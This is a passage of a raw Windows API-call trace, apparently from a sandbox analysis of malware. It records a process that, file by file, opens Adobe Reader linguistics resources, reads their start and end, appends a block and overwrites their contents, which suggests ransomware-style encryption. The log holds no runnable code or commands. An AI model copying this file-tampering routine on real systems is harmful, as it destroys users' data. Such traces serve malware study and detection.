hTemplateFile=0x0) returned 0x198 [0046.336] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.336] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6f4 [0046.336] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.336] ReleaseMutex (hMutex=0x128) returned 1 [0046.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.fca", lpUsedDefaultChar=0x0) returned 7 [0046.336] ReadFile (in: hFile=0x198, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6f4, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2e0f2bc*=0x6f4, lpOverlapped=0x0) returned 1 [0046.344] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0046.344] WriteFile (in: hFile=0x198, lpBuffer=0x25c8e38*, nNumberOfBytesToWrite=0xc7c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c8e38*, lpNumberOfBytesWritten=0x2e0f2d0*=0xc7c, lpOverlapped=0x0) returned 1 [0046.344] CloseHandle (hObject=0x198) returned 1 [0046.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.345] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.345] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xb400 [0046.345] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.345] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.345] ReleaseMutex (hMutex=0x128) returned 1 [0046.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.345] ReadFile (in: hFile=0x198, lpBuffer=0x27c7b68, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.353] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa400 [0046.354] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.359] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa400 [0046.359] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.359] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.359] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.359] CloseHandle (hObject=0x198) returned 1 [0046.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7ffe [0046.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.360] ReleaseMutex (hMutex=0x128) returned 1 [0046.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv32.clx", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hrv32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.360] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.364] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffe [0046.364] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffe [0046.398] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.398] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.399] CloseHandle (hObject=0x198) returned 1 [0046.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl61.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl61.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.412] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.412] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2e000 [0046.412] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.412] ReleaseMutex (hMutex=0x128) returned 1 [0046.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl61.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl61.ths", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="itl61.ths", lpUsedDefaultChar=0x0) returned 9 [0046.412] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.414] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2d000 [0046.414] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.422] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2d000 [0046.422] WriteFile (in: hFile=0x168, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.422] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.422] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.423] CloseHandle (hObject=0x168) returned 1 [0046.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7c00 [0046.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.423] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.423] ReleaseMutex (hMutex=0x128) returned 1 [0046.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nrw.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.423] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.436] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6c00 [0046.436] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.436] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6c00 [0046.436] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.437] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.437] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.437] CloseHandle (hObject=0x168) returned 1 [0046.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol103.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol103.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.438] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.438] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xafcef [0046.438] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.438] ReleaseMutex (hMutex=0x128) returned 1 [0046.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol103.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol103.hsp", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pol103.hsp", lpUsedDefaultChar=0x0) returned 10 [0046.438] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.440] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.441] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xaecef [0046.441] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.442] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xaecef [0046.442] WriteFile (in: hFile=0x168, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.443] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.443] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.443] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.443] CloseHandle (hObject=0x168) returned 1 [0046.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.444] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.444] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2b8 [0046.444] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.444] ReleaseMutex (hMutex=0x128) returned 1 [0046.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rus.fca", lpUsedDefaultChar=0x0) returned 7 [0046.444] ReadFile (in: hFile=0x168, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2e0f2bc*=0x2b8, lpOverlapped=0x0) returned 1 [0046.445] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0046.445] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2e0f2d0*=0x840, lpOverlapped=0x0) returned 1 [0046.445] CloseHandle (hObject=0x168) returned 1 [0046.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.446] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.446] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5c00 [0046.446] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.446] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.446] ReleaseMutex (hMutex=0x128) returned 1 [0046.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slo.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.446] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.447] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4c00 [0046.447] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.448] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4c00 [0046.448] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.449] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.449] CloseHandle (hObject=0x168) returned 1 [0046.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 